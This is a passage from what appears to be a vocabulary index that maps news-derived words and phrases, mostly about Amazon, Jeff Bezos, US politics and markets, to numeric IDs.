166361, "newspapers received": 166362, "dollar plus": 166363, "gormley": 166364, "grand hardware": 166365, "retailers courtesy": 166366, "pndlkq12cr mijente": 166367, "unlikely pair": 166368, "twitter michael": 166369, "represented bright": 166370, "network ordered": 166371, "claims stu": 166372, "selfish": 166373, "najarian thank": 166374, "woul": 166375, "tom hanks": 166376, "wspd1pio": 166377, "mid 1960s": 166378, "staff information": 166379, "designate aig": 166380, "weekend cavuto": 166381, "provider faces": 166382, "housing starts": 166383, "screenshot shows": 166384, "apparel mugs": 166385, "tragic attack": 166386, "pay absolutely": 166387, "equipped serial": 166388, "incite kevin": 166389, "duly elected": 166390, "appointee ricardo": 166391, "authortwitter billmurphyjr": 166392, "question private": 166393, "insider adding": 166394, "fascism lutes": 166395, "jobless rate": 166396, "perusal": 166397, "compromised unplug": 166398, "capital city": 166399, "seen cache": 166400, "ami representative": 166401, "virginia person": 166402, "massachusetts amazon": 166403, "issue earlier": 166404, "uk market": 166405, "response": 166406, "ground operations": 166407, "hour want": 166408, "min": 166409, "rejected involvement": 166410, "researchers bought": 166411, "walmart takes": 166412, "tell media": 166413, "rate program": 166414, "conference rooms": 166415, "intensive": 166416, "starkly different": 166417, "federal online": 166418, "amazon empire": 166419, "active open": 166420, "government reports": 166421, "field research": 166422, "spelling errors": 166423, "watch tonight": 166424, "company vast": 166425, "ops aviation": 166426, "suborbital flight": 166427, "barring": 166428, "finally pulling": 166429, "change change": 166430, "southwest received": 166431, "chuck received": 166432, "settlement mackenzie": 166433, "commenters": 166434, "current cost": 166435, "considerable fanfare": 166436, "confusion surrounding": 166437, "average bad": 166438, "statement sharing": 166439, "remembers": 166440, "received similar": 166441, "squeebles": 166442, "themi": 166443, "shannon mead": 166444, "fair wages": 166445, "composite gained": 166446, "extraordinary powers": 166447, "party sellers": 166448, "overbilling federal": 166449, "articlebundleid server719403": 166450, "global activism": 166451, "simply vote": 166452, "constance": 166453, "gmt chinese": 166454, "powers won": 166455, "sized tailers": 166456, "deeply entwined": 166457, "game myst": 166458, "exhibition early": 166459, "enabled case": 166460, "operations advised": 166461, "trailer embedded": 166462, "prompting locals": 166463, "promised investment": 166464, "jan saying": 166465, "adoration new": 166466, "billy easley": 166467, "forgiving federal": 166468, "shockingly direct": 166469, "late washington": 166470, "preeminent scholar": 166471, "widely seen": 166472, "shocks": 166473, "investment announcement": 166474, "taub ejtaub": 166475, "reconsider stop": 166476, "puffing hasn": 166477, "america plays": 166478, "t0 function": 166479, "optic": 166480, "allegedly poor": 166481, "expected return": 166482, "government operatives": 166483, "gaap income": 166484, "trumpet": 166485, "guillen": 166486, "daily adding": 166487, "called advanced": 166488, "friend brigitte": 166489, "similar political": 166490, "clothes furniture": 166491, "carry packages": 166492, "violating unexplained": 166493, "admitted doing": 166494, "byrne new": 166495, "actually trillion": 166496, "enquirer scoops": 166497, "network globally": 166498, "connell": 166499, "help book": 166500, "citing national": 166501, "leaders discusses": 166502, "jinping agreed": 166503, "satz": 166504, "stunning election": 166505, "boot maxboot": 166506, "period according": 166507, "purveyor": 166508, "happen memphis": 166509, "reuters mexico": 166510, "avoided interaction": 166511, "largest spender": 166512, "enquirer reaching": 166513, "loophole mike": 166514, "bezos yesterday": 166515, "essentially giving": 166516, "flushing": 166517, "broward county": 166518, "online according": 166519, "seeking legal": 166520, "affirmative": 166521, "world watches": 166522, "antitrust decisions": 166523, "disarmament unless": 166524, "sweeping probe": 166525, "cohen illegal": 166526, "facebook youtube": 166527, "vincent devito": 166528, "longstanding dating": 166529, "clark gannett": 166530, "tech universe": 166531, "celebrates amazon": 166532, "mule rapists": 166533, "faced flurry": 166534, "decade finance": 166535, "james don": 166536, "losing millions": 166537, "company avoid": 166538, "strong peek": 166539, "free expression": 166540, "soars ivanka": 166541, "fight losing": 166542, "veg": 166543, "british parliament": 166544, "lengthy": 166545, "look smart": 166546, "protection coverage": 166547, "public privacy": 166548, "trump aint": 166549, "china stifel": 166550, "seen interview": 166551, "cooper 360": 166552, "tabloid journalism": 166553, "personalizing treatments": 166554, "brantley defense": 166555, "decade lows": 166556, "fort worth": 166557, "stance 2019": 166558, "issued public": 166559, "view ownership": 166560, "support means": 166561, "hand george": 166562, "var videocollectionid": 166563, "mem": 166564, "news newsletter": 166565, "digital cash": 166566, "looking sternly": 166567, "celebutard": 166568, "ellison minn": 166569, "trump believed": 166570, "h5 t5": 166571, "725": 166572, "aisle democrats": 166573, "m2x y8": 166574, "albeit separately": 166575, "kawas": 166576, "implicit message": 166577, "india cci": 166578, "getty_72664757_387844": 166579, "uphold": 166580, "crony little": 166581, "000 sq": 166582, "geoffrey": 166583, "media__icon": 166584, "hitless mark": 166585, "party nominee": 166586, "demanding schedules": 166587, "richmond hill": 166588, "limit": 166589, "goldstone": 166590, "morgan going": 166591, "gonz\u00e1lez told": 166592, "van nes": 166593, "neel kashkari": 166594, "russian internets": 166595, "conservative libertarian": 166596, "realdonaldtrump likes": 166597, "mega mall": 166598, "street watchdog": 166599, "sleeping read": 166600, "passed resolution": 166601, "development giveaways": 166602, "usps chairman": 166603, "warner parent": 166604, "faces new": 166605, "authoritative analysis": 166606, "real purpose": 166607, "bestproducts": 166608, "hd garth": 166609, "time greer": 166610, "dreams fans": 166611, "incensed congressional": 166612, "louis woo": 166613, "middlemen called": 166614, "make smoothies": 166615, "xpo": 166616, "underwear": 166617, "global cities": 166618, "forcing national": 166619, "qanon clues": 166620, "amazon attended": 166621, "starr carter": 166622, "campaign job": 166623, "moser owns": 166624, "abc trump": 166625, "open close": 166626, "conceal details": 166627, "lift financial": 166628, "gamma": 166629, "amazon public": 166630, "free sessions": 166631, "lack adequate": 166632, "tiny neighborhood": 166633, "criticize news": 166634, "smores bonfire": 166635, "marginal rating": 166636, "electric car": 166637, "careful norah": 166638, "utility stock": 166639, "favorite cronyism": 166640, "national census": 166641, "changing really": 166642, "banco": 166643, "gadgets mobile": 166644, "making people": 166645, "human consumption": 166646, "alibaba cloud": 166647, "capitals talk": 166648, "paper losses": 166649, "understandably": 166650, "organization cost": 166651, "invigorating": 166652, "runs trade": 166653, "issuing large": 166654, "game new": 166655, "ones concerned": 166656, "management allowing": 166657, "time parker": 166658, "trading dow": 166659, "win mcnamee": 166660, "highlights yes": 166661, "california flood": 166662, "famous photograph": 166663, "care benefits": 166664, "registeredin": 166665, "carestream health": 166666, "washingtons": 166667, "bashing": 166668, "longform amazon": 166669, "weinstein denies": 166670, "tank pointed": 166671, "stands trial": 166672, "mcafee crowned": 166673, "residents touting": 166674, "popping case": 166675, "rough stretches": 166676, "worked undercover": 166677, "chief emerges": 166678, "mockingly": 166679, "2018 group": 166680, "consumer packaged": 166681, "collar immigration": 166682, "hr pros": 166683, "insulation": 166684, "reaching 1833": 166685, "price": 166686, "compelling words": 166687, "000 nycha": 166688, "selby journalist": 166689, "economic developer": 166690, "eucalyptus": 166691, "president assad": 166692, "makeup concealer": 166693, "russian agents": 166694, "business judgment": 166695, "comedian hasan": 166696, "does happen": 166697, "reckless trip": 166698, "new stadium": 166699, "enjoyable": 166700, "report microsoft": 166701, "sarlin explains": 166702, "john karl": 166703, "owe": 166704, "border 2018": 166705, "running amazon": 166706, "jill lepore": 166707, "measures dirty": 166708, "elon musk": 166709, "nad": 166710, "150 shares": 166711, "added think": 166712, "drastically limited": 166713, "millennial condition": 166714, "forklift driver": 166715, "stated incorrectly": 166716, "abr": 166717, "calls journalists": 166718, "ceo ceo": 166719, "badly instead": 166720, "rural conflicts": 166721, "mistress provided": 166722, "local players": 166723, "pre industrial": 166724, "steady approach": 166725, "different websites": 166726, "news giant": 166727, "cobb": 166728, "hardly notice": 166729, "jarrett joining": 166730, "slumped yesterday": 166731, "underperformed compared": 166732, "surveil participants": 166733, "amazon exposure": 166734, "allegations helped": 166735, "ecology": 166736, "logistics providers": 166737, "intangibles": 166738, "era ends": 166739, "charles birthday": 166740, "attacked repeatedly": 166741, "dark warnings": 166742, "chain dive": 166743, "p500": 166744, "motion activated": 166745, "pay woman": 166746, "corporate needs": 166747, "workers complain": 166748, "confidentiality purposes": 166749, "founder matt": 166750, "company paid": 166751, "robberies": 166752, "alves": 166753, "dramatically raise": 166754, "bolton tied": 166755, "eastern terrorist": 166756, "optimistic bezos": 166757, "identify unconscious": 166758, "explosive blog": 166759, "absorbed egoists": 166760, "reply specifically": 166761, "boycott threats": 166762, "personal messages": 166763, "relax pollution": 166764, "studios chief": 166765, "legitimate rationale": 166766, "debts": 166767, "sorting delivery": 166768, "keeping existing": 166769, "artemis inv": 166770, "business capital": 166771, "outside check": 166772, "predatory business": 166773, "device running": 166774, "conference": 166775, "force": 166776, "tempe police": 166777, "highlighted dina": 166778, "significant opportunities": 166779, "illegal crossers": 166780, "commerzbank aktiengesellschaft": 166781, "led model": 166782, "fbi chief": 166783, "228648": 166784, "kudlow says": 166785, "minimal progress": 166786, "jeffrey bezos": 166787, "2018 scheduled": 166788, "sh new": 166789, "doesn spell": 166790, "democrat congressman": 166791, "lake washington": 166792, "twitter accusing": 166793, "including pregnant": 166794, "46m": 166795, "friends know": 166796, "jones bashes": 166797, "stock gained": 166798, "extreme bullishness": 166799, "500 000": 166800, "gerstein story": 166801, "conservatives don": 166802, "potentially reasons": 166803, "nyt taliban": 166804, "futures fight": 166805, "speedy": 166806, "adam amazon": 166807, "700bn": 166808, "2000 debacle": 166809, "theory revolves": 166810, "men cook": 166811, "years signed": 166812, "resided variously": 166813, "amazon people": 166814, "create checking": 166815, "mexico trade": 166816, "giants microsoft": 166817, "intellectual argument": 166818, "son alucard": 166819, "homes maybe": 166820, "reticent": 166821, "trump pardoning": 166822, "wraps gifts": 166823, "right bret": 166824, "silence dissenting": 166825, "read investors": 166826, "prosecutorial narratives": 166827, "california sky": 166828, "craggy": 166829, "nonpartisan nonprofit": 166830, "amazon lots": 166831, "low productivity": 166832, "allow endless": 166833, "competition ramps": 166834, "swelling legs": 166835, "trump quote": 166836, "online lenders": 166837, "election rally": 166838, "alona pulde": 166839, "organization executive": 166840, "bezos chip": 166841, "fuming": 166842, "600x400 getty_1126502092_387831": 166843, "mid western": 166844, "reported federal": 166845, "baby gear": 166846, "union takes": 166847, "luck referring": 166848, "sharing cat": 166849, "war dead": 166850, "presidents ago": 166851, "latest report": 166852, "widespread economic": 166853, "pro shops": 166854, "mosque shooting": 166855, "reliable secure": 166856, "bit forget": 166857, "trillion business": 166858, "store selling": 166859, "team": 166860, "drumpf weren": 166861, "changes supported": 166862, "considered buying": 166863, "disturbingly love": 166864, "bad policy": 166865, "prison multiple": 166866, "beverage firm": 166867, "meddling scandal": 166868, "escalates attacks": 166869, "exploring new": 166870, "introduce amazon": 166871, "severe medical": 166872, "profit known": 166873, "offering subsidies": 166874, "summit putin": 166875, "irs rule": 166876, "bezos walks": 166877, "rock city": 166878, "punto": 166879, "hirscher": 166880, "indefinitely": 166881, "meeting jassy": 166882, "affordable abortions": 166883, "base fares": 166884, "parties warned": 166885, "laquan mcdonald": 166886, "wrong barry": 166887, "ownzones announces": 166888, "funeral cbs": 166889, "highthe general": 166890, "vincent": 166891, "inked": 166892, "iconic hellblazer": 166893, "chef": 166894, "editors cushy": 166895, "subsequent publication": 166896, "induced sex": 166897, "labor costs": 166898, "feed join": 166899, "recently arrived": 166900, "initial turnout": 166901, "rosenblatt": 166902, "elizabeth trump": 166903, "think corporate": 166904, "statustext statuscolor": 166905, "fuel taxes": 166906, "minuscule": 166907, "investing amazon": 166908, "investigation jarod": 166909, "generally posts": 166910, "darren aronofsky": 166911, "jobless claims": 166912, "posterity fake": 166913, "laguardia community": 166914, "obtain fresh": 166915, "lifting straps": 166916, "project plan": 166917, "electric": 166918, "samantha": 166919, "videoplayer isfirstvideoincollection": 166920, "counterfeiting earlier": 166921, "spectrum asset": 166922, "cortez support": 166923, "sexual shaming": 166924, "kidasharira burundian": 166925, "technology making": 166926, "childhood years": 166927, "build television": 166928, "note grateful": 166929, "hampshire state": 166930, "right customer": 166931, "honestly hundreds": 166932, "owning": 166933, "censorship facebook": 166934, "shared stephen": 166935, "oeuvre": 166936, "theabstract": 166937, "meeting 2018": 166938, "considered commissioner": 166939, "liability": 166940, "defined initiative": 166941, "urges oas": 166942, "context": 166943, "smartest insight": 166944, "ice policy": 166945, "bezos asked": 166946, "original sequels": 166947, "blackmailers": 166948, "2019 reflecting": 166949, "herera jon": 166950, "particular placeswhere": 166951, "sales finally": 166952, "productions view": 166953, "released ebay": 166954, "believers earlier": 166955, "imf economic": 166956, "people think": 166957, "incorruptible": 166958, "dunham minding": 166959, "looks": 166960, "officials visited": 166961, "inc_deck taylor": 166962, "civility": 166963, "formed partnership": 166964, "killer drones": 166965, "easily allows": 166966, "catchers knicks": 166967, "overreliance": 166968, "trouble looming": 166969, "unrestrained strongmen": 166970, "coalition strong": 166971, "westover": 166972, "fascinating things": 166973, "foods combination": 166974, "teens believe": 166975, "levy tax": 166976, "using bombpopday": 166977, "committee subpoena": 166978, "nominee miguel": 166979, "presidentelect mike": 166980, "foreign liaison": 166981, "popular developer": 166982, "matters involving": 166983, "political neutrality": 166984, "flooded": 166985, "hastened": 166986, "bear price": 166987, "personal safety": 166988, "facebook account": 166989, "whistle": 166990, "ftc chair": 166991, "local rezoning": 166992, "represent teachable": 166993, "favourite": 166994, "zink cto": 166995, "gives participants": 166996, "numbers bank": 166997, "story wasn": 166998, "theoretical just": 166999, "solutions available": 167000, "practices related": 167001, "2016 rex": 167002, "raised amazon": 167003, "666": 167004, "662 activity": 167005, "david kelly": 167006, "cause withdrawal": 167007, "urdupoint": 167008, "commission psc": 167009, "growing influence": 167010, "guarantees key": 167011, "old industry": 167012, "total market": 167013, "trump signed": 167014, "leaders seek": 167015, "early black": 167016, "exposing american": 167017, "vivek wadhwa": 167018, "mullenix": 167019, "favor stock": 167020, "damodaran": 167021, "futures slid": 167022, "bananas": 167023, "states seeking": 167024, "unbecoming": 167025, "dukakis": 167026, "days leading": 167027, "soccer league": 167028, "peering": 167029, "enable copyright": 167030, "article write": 167031, "sidebars": 167032, "delivery storing": 167033, "prison": 167034, "prior amazon": 167035, "brighter medium": 167036, "article diversity": 167037, "board structure": 167038, "matt palumbo": 167039, "new mercedes": 167040, "traits": 167041, "analysts predictions": 167042, "confirminghe": 167043, "taiwanese": 167044, "offered 270": 167045, "moms additional": 167046, "backup parachute": 167047, "america news": 167048, "ongoing coverage": 167049, "7ctwterm": 167050, "demons words": 167051, "miller marc": 167052, "country run": 167053, "regular dialogue": 167054, "hardware implant": 167055, "sen susan": 167056, "deals roundup": 167057, "middling economy": 167058, "drones spill": 167059, "management president": 167060, "lord queen": 167061, "tabloid announced": 167062, "multiple markups": 167063, "ways simple": 167064, "government cuomo": 167065, "seamlessly": 167066, "smaller retailers": 167067, "coalition chairman": 167068, "fictional letter": 167069, "neo nazi": 167070, "trump abruptly": 167071, "bezos weighs": 167072, "delicious irony": 167073, "hires couriers": 167074, "devices family": 167075, "guru": 167076, "technical coordinator": 167077, "nation gunman": 167078, "previously deleted": 167079, "involving ami": 167080, "accent lifted": 167081, "tm going": 167082, "anymore rich": 167083, "personal delivery": 167084, "ad market": 167085, "tremendous": 167086, "trump extraordinary": 167087, "23m reports": 167088, "economic iron": 167089, "hear tax": 167090, "penguin random": 167091, "families _______________\u043d\u043d______________\u043d__": 167092, "called divvy": 167093, "couldn disclose": 167094, "catz criticised": 167095, "congressional reptiles": 167096, "perceptive": 167097, "stamps senator": 167098, "filmmaker moves": 167099, "instrument case": 167100, "europe idiotic": 167101, "officer cio": 167102, "threw trump": 167103, "sign deal": 167104, "pomp usa": 167105, "proposing broad": 167106, "axios points": 167107, "kennels": 167108, "budget amazon": 167109, "astonishing new": 167110, "headquarters yahoo": 167111, "stunning assault": 167112, "lede": 167113, "agribusiness expansion": 167114, "130": 167115, "gaap profit": 167116, "various lobby": 167117, "cost instead": 167118, "source plugable": 167119, "graciously": 167120, "pallavi": 167121, "integrated digital": 167122, "cuomo signed": 167123, "year searching": 167124, "announced": 167125, "feeling angry": 167126, "business caused": 167127, "stage election": 167128, "relationship scottie": 167129, "amazon regarding": 167130, "supporters including": 167131, "viable": 167132, "homes plans": 167133, "pwi4ncvazx ryan": 167134, "city governor": 167135, "chanting": 167136, "lehrer tuition": 167137, "file sexual": 167138, "cities including": 167139, "years ahead": 167140, "somewhat tenuous": 167141, "conduct stating": 167142, "facebook avoids": 167143, "violent meme": 167144, "zones benefit": 167145, "white towel": 167146, "average rating": 167147, "procedure": 167148, "confronts conservative": 167149, "wasting time": 167150, "site montgomery": 167151, "ex dividend": 167152, "china growing": 167153, "face amazon": 167154, "digital assistant": 167155, "zuker announces": 167156, "pounds 115": 167157, "suspected leaker": 167158, "educational expenses": 167159, "inspire multibillion": 167160, "ride scooter": 167161, "stock ships": 167162, "donated 502": 167163, "restricts": 167164, "nbc report": 167165, "brainstorm": 167166, "martin lmt": 167167, "nike decided": 167168, "josh gerstein": 167169, "300f": 167170, "bezos passed": 167171, "language accent": 167172, "broward boulevard": 167173, "center ej": 167174, "dundas eas": 167175, "amazon revenues": 167176, "month elevation": 167177, "lewandowski": 167178, "pbms blaming": 167179, "recommends redefining": 167180, "point newsom": 167181, "comprise toronto": 167182, "amazon labor": 167183, "ninja turtle": 167184, "153 044": 167185, "truly remarkable": 167186, "data analytic": 167187, "failing": 167188, "mcgowan": 167189, "board advising": 167190, "liabilities resulting": 167191, "kitchen": 167192, "biased reporting": 167193, "passed tax": 167194, "gulp": 167195, "norton stars": 167196, "wrestler": 167197, "stocks poised": 167198, "true": 167199, "reported 217": 167200, "embrapa miranda": 167201, "collectors think": 167202, "doesn influence": 167203, "lint": 167204, "coming waterfront": 167205, "vocal support": 167206, "cnn videoleafurl": 167207, "paper worth": 167208, "graceful concession": 167209, "smith european": 167210, "cmg": 167211, "pointone": 167212, "panic": 167213, "html similar": 167214, "salke names": 167215, "house reporters": 167216, "corrupt mess": 167217, "digital ad": 167218, "kettle": 167219, "luckin hopes": 167220, "appointed": 167221, "time frederick": 167222, "right think": 167223, "media reports": 167224, "cincyinsights": 167225, "filling": 167226, "halved": 167227, "america playing": 167228, "anarchic": 167229, "recognition including": 167230, "advanced secure": 167231, "unusual agency": 167232, "threats": 167233, "example kumar": 167234, "drive foreign": 167235, "skype": 167236, "raise alarm": 167237, "future depending": 167238, "financially cripple": 167239, "section chief": 167240, "check suggestion": 167241, "continuing according": 167242, "mcdonogh": 167243, "unfairly ___": 167244, "random contact": 167245, "sanguine": 167246, "cloud dvr": 167247, "investors don": 167248, "equitably": 167249, "s8": 167250, "dislodge": 167251, "sacha baron": 167252, "ahmed": 167253, "wales poll": 167254, "primarily": 167255, "police work": 167256, "decided nonetheless": 167257, "opposite personalities": 167258, "2012 agreement": 167259, "detailed talking": 167260, "jesuit": 167261, "taxpayers underwrite": 167262, "minimisation strategy": 167263, "wang gown": 167264, "core business": 167265, "kids": 167266, "founder group": 167267, "impacted big": 167268, "healthy roi": 167269, "price targets": 167270, "asos": 167271, "mittwoch": 167272, "actively": 167273, "federal laws": 167274, "affect usps": 167275, "korea leader": 167276, "remade": 167277, "twofold generating": 167278, "combustible rhetoric": 167279, "cnbc live": 167280, "distaso 275k": 167281, "gauge runs": 167282, "earnings narrowly": 167283, "cash thinks": 167284, "halftime": 167285, "program aimed": 167286, "safe passage": 167287, "disappointing": 167288, "thomson thomson": 167289, "recently turned": 167290, "emma stone": 167291, "haven suffered": 167292, "honored": 167293, "mar largo": 167294, "potentially merged": 167295, "becker sanchez": 167296, "springer award": 167297, "swelling river": 167298, "holiday weekend": 167299, "security related": 167300, "executive owns": 167301, "pioneering indigenous": 167302, "gmt apple": 167303, "zerohedge highlights": 167304, "agencies citing": 167305, "latest election": 167306, "advisory serv": 167307, "chinese business": 167308, "email protected": 167309, "obamacare replacement": 167310, "isqueue cnn": 167311, "bezos repeated": 167312, "amazon disclosure": 167313, "tattooed long": 167314, "appeared unsure": 167315, "monopolist position": 167316, "heating ventilation": 167317, "acquisition division": 167318, "music producer": 167319, "issues making": 167320, "bt9ywxg10s lachlan": 167321, "million following": 167322, "actingfbi director": 167323, "spokesman matt": 167324, "meet sanders": 167325, "great good": 167326, "angry tweet": 167327, "totally protect": 167328, "homophobic slurs": 167329, "greco anne": 167330, "diagrammed": 167331, "ico payments": 167332, "misplaced": 167333, "boycott hundreds": 167334, "funereal faces": 167335, "track": 167336, "jail": 167337, "basically means": 167338, "polling place": 167339, "including raising": 167340, "vicious competitor": 167341, "political content": 167342, "hero alex": 167343, "team pic": 167344, "japanese attack": 167345, "wrote given": 167346, "using comedic": 167347, "haven really": 167348, "politicians lately": 167349, "isolating china": 167350, "unbelievable": 167351, "fleeting mention": 167352, "die know": 167353, "includes international": 167354, "new typeerror": 167355, "stock based": 167356, "employer does": 167357, "overvalued": 167358, "liberal infantilizing": 167359, "adjudicates federal": 167360, "executives really": 167361, "307 633": 167362, "immediately resolve": 167363, "moines iowa": 167364, "crime carolyn": 167365, "suspending": 167366, "global recovery": 167367, "apologize": 167368, "pitch": 167369, "presidency wasn": 167370, "164852329": 167371, "author iain": 167372, "shipping numbers": 167373, "1993 according": 167374, "popular computer": 167375, "personally urged": 167376, "stephen missed": 167377, "continuing westneat": 167378, "hateful content": 167379, "horizon helps": 167380, "intraday trade": 167381, "facto standard": 167382, "members set": 167383, "dollars offshore": 167384, "rainbow says": 167385, "unveiled plans": 167386, "android": 167387, "branded vehicles": 167388, "administration believes": 167389, "vucci file": 167390, "vast areas": 167391, "promote fake": 167392, "major alleged": 167393, "aws": 167394, "shared vision": 167395, "slide 2018": 167396, "day 2016": 167397, "totals 736": 167398, "formally overseeing": 167399, "evidently thought": 167400, "fy15": 167401, "different body": 167402, "olay": 167403, "hq2 spectacle": 167404, "32bj": 167405, "awaiting": 167406, "director perez": 167407, "pledges 500": 167408, "onshore flow": 167409, "unlike expansion": 167410, "breakthrough energy": 167411, "constantly renegotiated": 167412, "regions help": 167413, "arabia cheryl": 167414, "ago cbsmiami": 167415, "virginia ending": 167416, "reach high": 167417, "house plans": 167418, "dope": 167419, "suit seeks": 167420, "deem howard": 167421, "bid newark": 167422, "marketer job": 167423, "killed plans": 167424, "repurchase plan": 167425, "organization immigrants": 167426, "little sister": 167427, "report author": 167428, "despite long": 167429, "courting china": 167430, "case serves": 167431, "instigation grew": 167432, "nick fake": 167433, "doomsday": 167434, "tabloids gavin": 167435, "extensive scheme": 167436, "image president": 167437, "make certain": 167438, "interests conflict": 167439, "comments posted": 167440, "using facts": 167441, "pai": 167442, "sessions joins": 167443, "lawyer investigating": 167444, "airs weeknights": 167445, "amazon opponent": 167446, "nnpa": 167447, "watching contenttype": 167448, "forsyth issued": 167449, "embarrassment ami": 167450, "box land": 167451, "delivery particularly": 167452, "closely tracking": 167453, "unprecedented billion": 167454, "moana": 167455, "enquirer wasn": 167456, "merck nyse": 167457, "tax authority": 167458, "justify taxpayer": 167459, "development idea": 167460, "finally live": 167461, "gdp cools": 167462, "folk": 167463, "workforce base": 167464, "lady": 167465, "cnw group": 167466, "behar interrupts": 167467, "a4ee j0": 167468, "critical amazon": 167469, "implores": 167470, "venhuizen": 167471, "holiday pressure": 167472, "points feel": 167473, "nra fired": 167474, "juan mabromata": 167475, "shuang": 167476, "heading straight": 167477, "latest internet": 167478, "premises": 167479, "relatively recent": 167480, "blown trade": 167481, "statutory corporate": 167482, "enjoy turkey": 167483, "weaker pricing": 167484, "report dovetails": 167485, "medical miracle": 167486, "size contending": 167487, "amazongo": 167488, "conference main": 167489, "selling collectible": 167490, "subscriptions": 167491, "replacestate undefined": 167492, "new graphics": 167493, "chris lynch": 167494, "heaping helping": 167495, "tuz president": 167496, "bufesam": 167497, "warning unless": 167498, "fashions": 167499, "assassins seemingly": 167500, "today ohio": 167501, "child victims": 167502, "dizzying": 167503, "efforts prove": 167504, "craig faller": 167505, "ackerman": 167506, "peril": 167507, "eye netflix": 167508, "harvard university": 167509, "logistics assets": 167510, "heavily discounted": 167511, "usps says": 167512, "89th annual": 167513, "clocks": 167514, "roman documented": 167515, "curran": 167516, "simply titled": 167517, "mckenzie concludes": 167518, "doug ford": 167519, "migraine treatment": 167520, "droves trump": 167521, "claims repeatedly": 167522, "workings": 167523, "regulatory measures": 167524, "nickel": 167525, "caused": 167526, "fedex locations": 167527, "reducing amazon": 167528, "bezos pays": 167529, "breaks warren": 167530, "cnet newsstand": 167531, "practically swooned": 167532, "premium service": 167533, "angeles divorce": 167534, "giants control": 167535, "integrity commitment": 167536, "democratic governor": 167537, "pressuring prices": 167538, "nominee hillary": 167539, "b2b": 167540, "localstorage sessionstorage": 167541, "world read": 167542, "nongovernmental organizations": 167543, "buttermilk": 167544, "special regulatory": 167545, "oescam euro": 167546, "blog apart": 167547, "jobs report": 167548, "lemon warns": 167549, "mw": 167550, "pinterest": 167551, "firm rates": 167552, "potential trump": 167553, "state street": 167554, "extraordinary relationship": 167555, "boockvar": 167556, "grassley iowa": 167557, "sean penn": 167558, "starting price": 167559, "opening price": 167560, "immoral illinois": 167561, "craftsman tools": 167562, "fundraising increase": 167563, "search beneath": 167564, "reported results": 167565, "story saying": 167566, "produce fy18": 167567, "particular expertise": 167568, "destruction": 167569, "family oct": 167570, "remain viable": 167571, "coasts": 167572, "report posits": 167573, "plus seeking": 167574, "coach milutinovic": 167575, "brazilian amazon": 167576, "team katharine": 167577, "kickertext maximizedbannersize": 167578, "unmanned drones": 167579, "factory workers": 167580, "ipec decides": 167581, "karma": 167582, "mandatory minimums": 167583, "downside seattle": 167584, "seattle just": 167585, "hot sauce": 167586, "manifesto": 167587, "ordered creation": 167588, "trump converses": 167589, "council reversed": 167590, "tennessee possibly": 167591, "kickstarter": 167592, "unanswered": 167593, "tweet read": 167594, "healy initially": 167595, "fair stella": 167596, "menendez": 167597, "similar items": 167598, "questions intelligence": 167599, "followed meeting": 167600, "aggressively push": 167601, "mid market": 167602, "factor playing": 167603, "job transfer": 167604, "sessions jefferson": 167605, "easier": 167606, "investigation trump": 167607, "kept confidential": 167608, "stop taking": 167609, "parents punished": 167610, "buying": 167611, "corp rad": 167612, "new blog": 167613, "accumulating": 167614, "courts": 167615, "digs littered": 167616, "domain names": 167617, "laura sanchez": 167618, "stack david": 167619, "rage unless": 167620, "sin page": 167621, "rose 208": 167622, "retail focused": 167623, "record 379": 167624, "juggling work": 167625, "pick pack": 167626, "isolated villages": 167627, "claimed trump": 167628, "weakens": 167629, "parody account": 167630, "provocation": 167631, "valuate": 167632, "firm empower": 167633, "mckinnon played": 167634, "river flow": 167635, "goodlatte document": 167636, "jon najarian": 167637, "calling sen": 167638, "money forthe": 167639, "attractive place": 167640, "does amazon": 167641, "saw operating": 167642, "successful man": 167643, "information protection": 167644, "relive": 167645, "gop house": 167646, "dangled career": 167647, "delong living": 167648, "yes wegmann": 167649, "school": 167650, "llc increased": 167651, "chicago reader": 167652, "political momentum": 167653, "revival just": 167654, "vermont story": 167655, "sued murphy": 167656, "ami violated": 167657, "potential challenge": 167658, "customers especially": 167659, "sparsely": 167660, "discuss concerns": 167661, "reasserted": 167662, "trust act": 167663, "android headlines": 167664, "737 models": 167665, "gives evidence": 167666, "currently dominant": 167667, "trump public": 167668, "katharine ham": 167669, "smuggled": 167670, "forbes amazon": 167671, "exciting": 167672, "novel approach": 167673, "pass instead": 167674, "record background": 167675, "sears bankruptcy": 167676, "regular complaints": 167677, "combined data": 167678, "lampert worked": 167679, "home recorded": 167680, "build technologies": 167681, "2005 2018": 167682, "wrongdoing": 167683, "tufankjian": 167684, "counted count": 167685, "names stock": 167686, "ac petitions": 167687, "divided wage": 167688, "sbirt program": 167689, "criticism earlier": 167690, "moving slightly": 167691, "peace prize": 167692, "company sold": 167693, "instagram business": 167694, "maria lamagna": 167695, "push hard": 167696, "good particular": 167697, "spokeswoman characterized": 167698, "slowly": 167699, "jobs noam": 167700, "tony wife": 167701, "mohan told": 167702, "devoted": 167703, "read andrew": 167704, "2006 postal": 167705, "gut punch": 167706, "tent city": 167707, "rally bond": 167708, "mount legal": 167709, "limits equaling": 167710, "million people": 167711, "vine reviewers": 167712, "dividend etf": 167713, "political discourse": 167714, "aws generates": 167715, "profit challenged": 167716, "minerd says": 167717, "saying gary": 167718, "help modernize": 167719, "methodology changes": 167720, "2019 close": 167721, "927 billion": 167722, "stunner": 167723, "country compete": 167724, "fought open": 167725, "narrowing": 167726, "commerce partner": 167727, "house innovation": 167728, "272 shares": 167729, "networks new": 167730, "palace": 167731, "krauthammer": 167732, "quietly pushing": 167733, "pomp": 167734, "given total": 167735, "collectable dolls": 167736, "deforestation years": 167737, "empresa": 167738, "1q 2018": 167739, "gillum decides": 167740, "insufficient benefits": 167741, "does dormant": 167742, "eroding": 167743, "proposed breaking": 167744, "ruhle": 167745, "assessing": 167746, "heath babb": 167747, "amplify": 167748, "saudi": 167749, "franco": 167750, "2018 san": 167751, "minor cause": 167752, "hotman": 167753, "service net": 167754, "290": 167755, "specials club": 167756, "staff did": 167757, "journalist says": 167758, "despite booking": 167759, "lazyauto true": 167760, "thais borges": 167761, "predatory robber": 167762, "sanctions bds": 167763, "stamp benefits": 167764, "ma": 167765, "build helipads": 167766, "payne denied": 167767, "mcgregor pacific": 167768, "limited places": 167769, "host secdef": 167770, "report revealing": 167771, "potent opioid": 167772, "populous state": 167773, "sharing agreement": 167774, "time final": 167775, "larmand": 167776, "making legislative": 167777, "term mortgage": 167778, "new surface": 167779, "neil": 167780, "impact quality": 167781, "md sen": 167782, "doubles": 167783, "roosevelt progressive": 167784, "barneys new": 167785, "major indexes": 167786, "heart attack": 167787, "procurement": 167788, "comments midwest": 167789, "2018 deloitte": 167790, "security chief": 167791, "cheering squad": 167792, "time associates": 167793, "china china": 167794, "wccftech": 